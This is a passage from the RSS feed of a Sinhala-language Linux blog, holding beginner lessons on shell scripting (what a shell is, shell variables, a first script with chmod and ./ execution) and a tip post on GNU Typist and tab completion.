&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$echo $SHELL&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$echo $PATH&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
අපිට මේ system variables&amp;nbsp; පවා වෙනස් කිරීමේ හැකියාව &lt;b&gt;ලිනක්ස්&lt;/b&gt; පද්ධතියක් මඟින් ලබා දෙනවා. නමුත් SV වෙනස් කිරීම පිළිබඳව ඔබට අත්දැකීමක් නොමැති නම් ඉන් වළකින එක වඩා හොඳයි. මොකද SV වෙනස් වීම තුලින් පද්ධතිය අකර්මන්‍යය විය හැකියි. 
&lt;br /&gt;&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;User Defined Variables (UDV) &lt;/b&gt;&lt;/u&gt;&lt;/span&gt;- පරිශීලක විසින් අර්ථ දක්වන විචල්‍යය. එනම් භාවිතා කරන්නාගේ ප්‍රයෝජනය සඳහා අර්ථ දක්වනු ලබන විචල්‍යය. Shell scripting වලදි බහුලවම භාවිතා කරන විචල්‍යය වර්ගය තමා මේ UDV.&lt;br /&gt;උදාහරණයක් විදිහට අපි හිතමු අපිට අගය 2ක් වන number කියලා විචල්‍යයක් define කරගන්න අවශ්‍යයි කියලා. එවිට කරන්න තියෙන්නෙ ඉතාමත් සරළව,&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
number=2&lt;/blockquote&gt;
කියලා UDV එකක් define කරන එක විතරයි.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;br /&gt;
කෙසේ වෙතත් මෙසේ මෙම විච්ල්‍යය භාවිතා කිරීමේදි දැනගත යුතු නීති රීති කිහිපයක් තියෙනවා. ඒවා පිළිබඳවත්, මෙම විචල්‍යය අපගේ shell scripting වලට යොදාගන්නා ආකාරය පිළිබඳවත් අපි මීළඟ ලිපියෙන් සාකච්ඡා කරමු.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&amp;nbsp;&lt;a href=&quot;http://linux-sinhala.blogspot.com/2013/08/shellscript1.html&quot;&gt;හැඳින්වීම&lt;/a&gt; || &lt;a href=&quot;http://linux-sinhala.blogspot.com/2013/08/linux-shell-scripting-22.html&quot;&gt;විචල්‍යය අර්ථදැක්වීම&lt;/a&gt;&lt;/div&gt;
</description><link>http://linux-sinhala.blogspot.com/2013/08/shellscript2-1.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-5536177384094191162</guid><pubDate>Sun, 11 Aug 2013 06:49:00 +0000</pubDate><atom:updated>2013-08-11T12:21:26.590+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">shell scripting</category><title>Shell Scripting #1 - හැඳින්වීම</title><description>හොඳයි, පහුගිය ලිපියෙන් කථා කරා වගේ අපි මෙතැන් සිට &lt;b&gt;Shell Scripting&lt;/b&gt; ඉගෙන ගන්නයි යන්නේ. ඒ සඳහා ආරම්භයක් විදිහට අපි මුලින්ම මේ Shell එක කියන්නේ මොකද්ද කියලා කථා කරමු.&lt;br /&gt;
අපි හැමෝම දන්නවා පරිගණකයේ භාෂාව 0 සහ 1 කියලා, ඒ කියන්නේ යන්ත්‍ර භාෂාව කියලා හඳුන්වන මෙම පරිගණකයට තේරෙන භාෂාවෙන් අපිට වැඩ කරන්න සෑහෙන්න අමාරුයි. ඒ නිසා පරිගණක තාක්ෂණය දියුණු වෙන මුල් කාලයේ මිනිසුන්ට තේරුම් ගන්න පුලුවන් ආකාරයට විධාන ලබාදෙන්නත්, එම විධාන පරිගණකයට තේරුම්ගත හැකි ආකාරයට පරිවර්ථනය කරන්න පුලුවන් මෙවලමක් අවශ්‍යය වුනා. Shell එක බිහිවුනේ මෙම අවශ්‍යයතාවය ඉටු කිරීමටයි.&lt;br /&gt;
Shell එක කියලා කියන්නේ පරිශීලක වැඩසටහනක් (user program), එය විධාන ක්‍රියාත්මක කිරීමට හැකියාව ඇති කර්නලයේ කොටසක් නොවන වැඩසටහනක්. නමුත් එය කර්නලය පාවිච්චි කරනවා විධාන ක්‍රියාත්මක කිරීමට සහ ෆයිල් සමඟ ගනුදෙනු කිරීමට. කෙටියෙන් කියනවා නම් Shell එක යනු කර්නලය හා පරිශිලකයා අතර ඇති Interface එකක් වැනි දෙයක්.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
ලිනක්ස් පද්ධති වල නිරතුරව භාවිතා වන Shell වර්ග කිහිපයක් තියෙනවා.
 &lt;br /&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #cfcfcf;&quot;&gt;
&lt;th&gt;Shell Name&lt;/th&gt;
&lt;th&gt;Developed By&lt;/th&gt;
&lt;th&gt;Where&lt;/th&gt;
&lt;th&gt;Remark&lt;/th&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #e7e7e7;&quot;&gt;
&lt;td&gt;BASH ( Bourne-Again SHell )&lt;/td&gt;
&lt;td&gt;Brian Fox and Chet Ramey&lt;/td&gt;
&lt;td&gt;Free Software Foundation&lt;/td&gt;
&lt;td&gt;බහුලවම භාවිතා වන Shell එකය. මෙය නිදහස් මෘදුකාංගයකි.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4f4f4;&quot;&gt;
&lt;td&gt;CSH (C SHell)&lt;/td&gt;
&lt;td&gt;Bill Joy&lt;/td&gt;
&lt;td&gt;University of California (For BSD)&lt;/td&gt;
&lt;td&gt;C භාෂාවේ Syntax වලට හා භාවිත වලට අතිශයින්ම සමාන shell එකකි.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #e7e7e7;&quot;&gt;
&lt;td&gt;KSH (Korn SHell)&lt;/td&gt;
&lt;td&gt;David Korn&lt;/td&gt;
&lt;td&gt;AT &amp;amp; T Bell Labs&lt;/td&gt;
&lt;td&gt;සාමාන්‍යය shell එකකි.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
ඔබගේ පද්ධතියේ පවතින Shell වර්ග පරික්ෂා කිරීමට පහත විධානය භාවිතා කරන්න.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ cat /etc/shells&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
ඉහත සඳහන් කරන ලද හැම Shell එකක්ම කරන මූලික කාර්‍යය වන්නේ පරිශීලක ලබාදෙන විධාන කියවා, මෙහෙයුම් පද්ධතියට එහෙමත් නැත්තම් කර්නල් එකට ඒ විධාන හරවා යවනවා ක්‍රියාත්මක කරන්න කියලා. විධාන ලබාදෙන්න අපි භාවිතා කර්න්නේ යතුරු පුවරුව නම් එය හඳුන්වන්නේ command line interface කියලා, සාමාන්‍යයෙන් මෙය $ ලකුණෙන් දක්වයි.&lt;br /&gt;
වින්ඩොස් වල තියෙන Command Prompt&amp;nbsp; එකත් මේ වගේ Shell එකක් තමා. නමුත් වින්ඩොස් එකට වඩා ලිනකස් වල තියෙන එක ගොඩාක් බලගතුයි. ඇත්තෙන්ම ලින්කස් වල තියෙන Shell එකෙන් අපගේ ලිනක්ස් පද්ධතියට කරන්න බැරි දෙයක් බැරි තරම්.&lt;br /&gt;
දැනට භාවිතා කරන ටර්මිනල් එක එහෙමත් නැත්තම් Shell එක කුමක්ද කියා දැනගැනීමට පහත විධානය භාවිතා කරන්න.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&amp;nbsp;&lt;span style=&quot;color: white;&quot;&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;$ echo $SHELL&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;Shell Script&amp;nbsp; යනු කුමක්ද?&lt;/b&gt;&amp;nbsp;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
කෙටියෙන්ම කියනවා නම් Shell Script එකක් යනු Plain text එකක් මත ලියනු ලබන විධාන සමූහයකි.&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
මෙය වින්ඩෝස් වල භාවිතා කරන Batch File වලට සමානය. නමුත් Batch File වලට වඩා අතිශයින්ම බලවත්ය.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;Shell Script&amp;nbsp; කුමක් සඳහාද?&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
කෙනෙක්ට හිතෙනවා ඇති, GUI එකක් තියෙද්දි මොකටද මේ Shell එකක් කියලා. නමුත් ලිනක්ස් එක්ක වැඩ කරද්දි UI එකට වඩා ටර්මිනල් එකෙන් වැඩ කරන එක ලේසි කියලා ඉබේම තේරෙයි. එහෙම ටර්මිනල් එකෙන් වැඩ කරද්දි Shell Script මඟින් අපේ වැඩ තවත් පහසු කරගන්න පුලුවන් කියන එකත් ලඟදීම ඔබටම අවබෝධ වෙයි.&lt;br /&gt;
අපි දැන් බලමු මොකටද, මොකක් සඳහාද මේ Shell Script ලියන්නේ කියලා.&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;පරිශීලකගෙන් ආදාන ගෙන ඒවා ක්‍රියාත්මක කර ප්‍රතිදානයක් ලබාගැනීමට මේ shell script මූලිකව භාවිතා කල හැක. &lt;/li&gt;
&lt;li&gt;අපගේම විධාන සකසා ගැනීමට shell script භාවිතා කල හැක.&lt;/li&gt;
&lt;li&gt;Shell script මඟින් කාලය ඉතිරිකර ගැනීමට හැකිය.&lt;/li&gt;
&lt;li&gt;එදිනෙදා කටයුතු ස්වයංක්‍රියව සිදු කරගැනීමට shell script භාවිතා කල හැකිය.&lt;/li&gt;
&lt;li&gt;System Administration කටයුතු ස්වයංක්‍රියව සිදුකරගැනීම shell script මඟින් පහසුවෙන් කරගත හැකිය.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;Shell Script ලිවීම සහ ක්‍රියාත්මක කිරීම.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
ඔබ කැමති text editor එකක් භාවිතා කර පහත සඳහන් විධාන කිහිපය එහි සඳහන් කර, එය කැමති නමකින්, අගට .sh යන නමින් save කරගන්න.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
#!/bin/sh&lt;br /&gt;
clear&lt;br /&gt;
echo &quot;I love Linux&quot;&lt;/blockquote&gt;
&amp;nbsp; උදාහරණයක් ලෙස මෙම text එක myscript.sh නමින් save කරගන්න.&lt;br /&gt;
මීලඟට මෙය ආකාරයට සකසා ගත යුතුයි. ඒ සඳහා පහත විධානය භාවිතා කරන්න.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$chmod 755 myscript.sh&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&amp;nbsp;හෝ&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;color: white;&quot;&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$chmod&amp;nbsp;+x myscript.sh&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&amp;nbsp;මෙලෙස අවසර තත්වයන් වෙනස් කිරීම ඔබට ආගන්තුක දෙයක් නම් මෙම &lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/10/learn-linux-8.html&quot; target=&quot;_blank&quot;&gt;ලිපි පෙළ&lt;/a&gt; කියවන්න.&lt;br /&gt;
&amp;nbsp;මීලඟට මෙම එක ක්‍රියාත්මක කිරීම සඳහා පහත විධානය භාවිතා කරන්න.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$./myscript.sh&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&amp;nbsp;මේ තමා shell script එකක් ලියා ක්‍රියාත්මක කරන සරල ආකාරය. මෙම මඟින් සිදුවන්නේ, දැනට තියෙන shell එක clean කර echo නමින් විධානය යටතේ ඇති වාක්‍ය තිරයේ පෙන්නුම් කරන එක පමණි.&lt;br /&gt;
&amp;nbsp;මෙම #!/bin/sh වාක්‍ය අපි විසින් ලියනු ලබන සෑම එකකම මුලින්ම අඩංගු විය යුතු දෙයකි. එමඟින් අපගේ එක ක්‍රියාත්මක කිරීමට අවශ්‍යය මූලික දත්ත ඇති ස්ථානය පද්ධතියට දැනුම් දේ. C භාෂාවේන් ක්‍රමලේඛනයක් ලිවීමේදී යොදන #include &amp;lt;stdlib.h&amp;gt; වැනි දෙයක් තමා මේක.&lt;br /&gt;
shell script එකක comments ලිවීම සඳහා භාවිතා කරන්නෙත් මෙම #! සංකේත දෙකයි.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;මෙය ඉතාම සරල shell script එකකි. shell script ගැන තවදුරටත් අපි මීළඟ ලිපියෙන් කථා කරමු. shell script භාවිතා කර අපගේ එදිනෙදා වැඩකටයුතු පහසු කරගන්නේ කොහොමද කියලා ඉදිරියේදී සාකච්ඡා කරමු.&lt;br /&gt;
ඔබ සාමාන්‍යයෙන් භාවිතා කරන විධාන යොදාගෙන ඔබගේම shell script ලිවීමට දැන් පටන් ගන්න.</description><link>http://linux-sinhala.blogspot.com/2013/08/shellscript1.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-2910611718527388242</guid><pubDate>Sat, 13 Jul 2013 08:58:00 +0000</pubDate><atom:updated>2014-09-09T02:44:47.654+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">commands</category><category domain="http://www.blogger.com/atom/ns#">shell scripting</category><title>Shell Script ඉගෙනගමු.</title><description>පහුගිය මාස කිහිපයේ අධ්‍යාපන කටයුතු සමඟ තිබුන කාර්‍යබහුලත්වය නිසා ලිපි පළකිරීමට නොහැකිවීම සම්බන්ධයෙන් මුලින්ම සමාව ඉල්ලා සිටිනවා.&lt;br /&gt;
මේ බ්ලොග් එකේ ලිපි පෙළ අනුගමනය කිරීමෙන් ඔබට දැන් ලිනක්ස් පද්ධතිය සමීප වන්නට ඇතැයි සිතමි.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;හොඳයි, එහෙනම් අද පටන් ලිනක්ස් පද්ධතිවල නිරන්තරයෙන් භාවිතා කරන shell scripting&amp;nbsp; ගැන ඉගෙන ගන්න පටන් ගමු.&lt;br /&gt;
මෙම පාඩම් මාලාව පහත පරිදි කොටස් කිහිපයකින් සාකච්ඡා කිරීමට බලාපොරොත්තු වෙමි.&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;a href=&quot;http://linux-sinhala.blogspot.com/2013/08/shellscript1.html&quot; target=&quot;_blank&quot;&gt;හැඳින්විම - Introduction.&lt;/a&gt; &lt;/span&gt;&lt;/li&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;
&lt;/span&gt;
&lt;li&gt;&lt;a href=&quot;http://linux-sinhala.blogspot.com/2013/08/shellscript2-1.html&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;විචල්‍ය භාවිතය - Variables.&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;
&lt;/span&gt;
&lt;li&gt;&lt;a href=&quot;http://linux-sinhala.blogspot.com/2014/09/shell-scripting-3-shell-arithmatics.html&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;ගණිත කර්ම භාවිතය - Shell Arithmatics.&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;
&lt;/span&gt;
&lt;li&gt;&lt;span style=&quot;font-size: large;&quot;&gt;විධාන භාවිතය - Command Line Processing.&lt;/span&gt;&lt;/li&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;
&lt;/span&gt;
&lt;li&gt;&lt;span style=&quot;font-size: large;&quot;&gt;තීරණ යෙදීම් භාවිතය - Decision making.&lt;/span&gt;&lt;/li&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;
&lt;/span&gt;
&lt;li&gt;&lt;span style=&quot;font-size: large;&quot;&gt;for, while loop භාවිතය - Control Flow.&lt;/span&gt;&lt;/li&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;
&lt;/span&gt;
&lt;li&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Case Statement.&lt;/span&gt;&lt;/li&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;
&lt;/span&gt;
&lt;li&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Advanced Shell Scripting. &lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
මෙම පාඩම් මාලාව මූලිකවම කොටස් 8කින් සහ ඒ ඒ කොටස් වලට අදාල අනු කොටස් තුලින් විස්තාරත්මකව සාකාච්ඡා කිරීම ඉදිරි සති කිහිපය තුල සිදු කිරීමට බලාපොරොත්තු වෙමි.&lt;br /&gt;
&amp;nbsp;ලිනක්ස් සිංහලෙන් සමඟ මෙතුවක් රැඳී සිටියාට ස්තූතිවන්ත වෙන අතර, ඔබගේ ප්‍රතිචාර සහ අදහස් බලාපොරොත්තු වෙමි.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;දැනුම්දීම&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;ලිනක්ස් කථා බහ හෙවත් Forum එක Linux Lanka Forum එක තුලට ගෙනයන ලදි, එකම ප්‍රශ්න ගැන තැන් තැන් වල කථා කරනවාට වඩා එකම තැනක කථා කිරීම සියල්ලන්ටම වඩා ප්‍රයෝජනවත් වේ. ඔබගේ ගැටළු එම ෆෝරමයට හෝ udsubodhana@gmail.com ලිපිනයට යොමු කරන්න.&lt;/span&gt;</description><link>http://linux-sinhala.blogspot.com/2013/07/shellscript0.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><thr:total>6</thr:total><georss:featurename>University of Peradeniya, Peradeniya - Deltota - Rikiligaskada Road, Peradeniya 20400, Sri Lanka</georss:featurename><georss:point>7.2565928999999993 80.596609299999955</georss:point><georss:box>7.2250898999999995 80.556268799999955 7.2880958999999992 80.636949799999954</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-6818472617869717558</guid><pubDate>Thu, 10 Jan 2013 21:17:00 +0000</pubDate><atom:updated>2013-07-13T14:30:33.854+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Basic</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Tips</category><title>පුංචි පුංචි දේවල් ටිකක්... - ලිනක්ස් පාඩම් මාලාව #10</title><description>ටර්මිනල් එක භාවිටතයෙන් වැඩ කිරීමේදී මෙන්ම &lt;b&gt;ලිනක්ස්&lt;/b&gt; සමඟ වැඩ කිරීමේදී නිරන්තරයෙන් උපකාරී වන පුංචි පුංචි දේවල් ටිකක් ගැන තමා අද අපි කථා කරන්න යන්නේ.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;යතුරු පුවරුව (Keyboard) භාවිතය.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;ඔබට යතුරු පුවරුව භාවිතා කිරීම වේගයෙන් හා නිවැරදිව කිරීමට හැකි නම් එය ටර්මිනලය හරහා පරිගණකය සමඟ වැඩ කිරීමේදි වඩාත් පහසුවක් ගෙනදේ. පරිගණක ක්ෂෙත්‍රයේ බොහෝ ප්‍රවීණයන් යතුරු පුවරුව භාවිතා කරන්නේ &lt;b&gt;Touch Typing&lt;/b&gt; ක්‍රමයටය එනම් යතුරු පුවරුව දිහා නොබලා ස්පර්ශයෙන් ටයිප් කිරීමය. ඔබටත් මෙම ක්‍රමය පුරුදු විය හැකිය. ටර්මිනලය භාවිතයෙන්ම &lt;b&gt;Touch Typing&lt;/b&gt; පුරුදු කරගැනීමට විශේෂ මෘදුකාංගයක් එහෙමත් නැත්තම් යෙදවුමක් ලිනක්ස් පද්ධතියේ ඇත.&lt;br /&gt;එය නමින් &lt;span style=&quot;background-color: yellow;&quot;&gt;&lt;b&gt;&lt;span class=&quot;st&quot;&gt;GNU Typist&lt;/span&gt;&lt;/b&gt;&lt;/span&gt; වන අතර එය ඔබගේ පද්ධතියේ ස්ථාපනය කරගැනීම සඳහා පහත විධානය ක්‍රියාත්මක කරන්න.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;
&lt;li&gt;&lt;u&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Debian හෝ Ubuntu / *buntu පද්ධති සඳහා.&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;sudo apt-get install gtypist&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;u&gt;&lt;b&gt;Fedora හෝ RedHat පද්ධති සඳහා.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;මෙම &lt;a href=&quot;http://rpm.pbone.net/index.php3/stat/3/srodzaj/1/search/gtypist&quot; target=&quot;_blank&quot;&gt;අඩවියෙන් &lt;/a&gt;බාගත හැකිය.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;ස්ථාපනය කරගත් පසු භාවිතා කිරීම සඳහා ටර්මිනලයේ &lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;gtypist&lt;/span&gt;&lt;/b&gt; යනුවෙන් සඳහන් කරන්න. එවිට ඔබට පහත රූපයේ පරිදි හෙවත් ක්‍රියාත්මක වනු දැකගන්න ලැබේවී.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqhB6IqsM9JsfGv0tV1L3MJSUU0fNnvhJKezOK27YLC19ZO6qItzi8qmS6aKOGuFjCTeVKzbq0rSPW0vQYhIuo3PQ2ekDdsgnvOd1hjFhY4HRR1nryDes3_o6vIUMSwHKytfeLr_55p3k/s1600/gtypist1.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqhB6IqsM9JsfGv0tV1L3MJSUU0fNnvhJKezOK27YLC19ZO6qItzi8qmS6aKOGuFjCTeVKzbq0rSPW0vQYhIuo3PQ2ekDdsgnvOd1hjFhY4HRR1nryDes3_o6vIUMSwHKytfeLr_55p3k/s320/gtypist1.png&quot; height=&quot;220&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;මෙම ආරම්භකය තිරයේ දැක්වෙන පරිදි ඔබට &lt;b&gt;Touch Typing&lt;/b&gt; ඉගෙන ගැනීම සඳහා මූලික පාඨමාලා 10ක් දකින්නට ලැබේවී. මෙම පාඨමාලා තෝරාගැනීමට යතුරු පුවරුවේ &lt;b&gt;J, K, L&lt;/b&gt; හා &lt;b&gt;M&lt;/b&gt; යතුරු භාවිතා කරන්න. ඉන්පසු ලබා දී ඇති උපදෙස් අනුව ඉගෙනගන්න පටන් ගන්න.&lt;br /&gt;දවසකට විනාඩි 5-10ක් වැනි සුළු කාලයක් මේ සඳහා වැය කර ඉක්මනින් &lt;b&gt;Touch Typing&lt;/b&gt; පුරුදු වන්න. එවිට ඔබට ටර්මිනලයෙන් වැඩ කිරීම විනෝදජනක අත්දැකීමක් බවට පත්වේවී.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;&amp;nbsp;ටැබ් යතුර (Tab Key) භාවිතය.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;ගොඩාක් දෙනෙක් ටර්මිනලය භාවිතයට අකැමැත්තක් හෝ මැළිකමක් දක්වන්නේ සියළු විධාන හා ෆයිල්ස් ඇති ස්ථාන මතක තබාගත යුතුයි කියන මිත්‍යා විශ්වාසය නිසාය. නමුත් ඇත්ත එය නොවේ. ඔබ ටර්මිනලය භාවිතා කරන විට ඔබට සියළුම විධාන හෝ ෆයිල්ස් පවතින ස්ථාන මතකයේ තබා ගත යුතු නොවේ.&lt;br /&gt;විධාන ටයිප් කිරීම සහ ෆයිල්ස් සමඟ ගණුදෙණු කිරීමේදි ටැබ් යතුර භාවිතයෙන් ඉතා පහසුවෙන් එම කටයුතු සිදු කරගත හැකිය&lt;br /&gt;උදාහරණයක් විදිහට ඉහත සාකච්ඡා කල &lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;gtypist&lt;/span&gt;&lt;/b&gt; විධානය සලකන්න. මෙය ක්‍රියාත්මක කිරීම සඳහා සම්පූර්ණ විධානයම ටර්මිනලයේ ටයිප් කිරීම අවශ්‍යය නෑ. මුල් අකුරු කිහිපයක් ටයිප් කර ටැබ් යතුර දෙපාරක් ඔබන්න.&lt;br /&gt;එවිට එම අකුරු වලින් පටන් ගන්න වෙනත් විධාන නැත්තම් අදාල විධානය කෙලින්ම ටර්මිනලයේ දැක්වේ.&lt;br /&gt;නැවත මෙම උදාහරණය සළකන්න. අපි හිතමු අපිට ටර්මිනලය භාවිතයෙන් &lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;firefox&lt;/span&gt;&lt;/b&gt; වැනි විධානයක් ක්‍රියාත්මක කරගන්න ඕනේ කියලා. &lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;fi&lt;/span&gt;&lt;/b&gt; යන අකුරු දෙක පමණක් ටයිප් කර ටැබ් යතුර දෙපාරක් ක්‍රියාත්මක කලහොත් &lt;b&gt;fi&lt;/b&gt; අකුරු වලින් ක්‍රියාත්මක කල හැකි විධාන ලයිස්තුවක් අපිට ලැබෙනවා. පහත රූපය බලන්න.&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
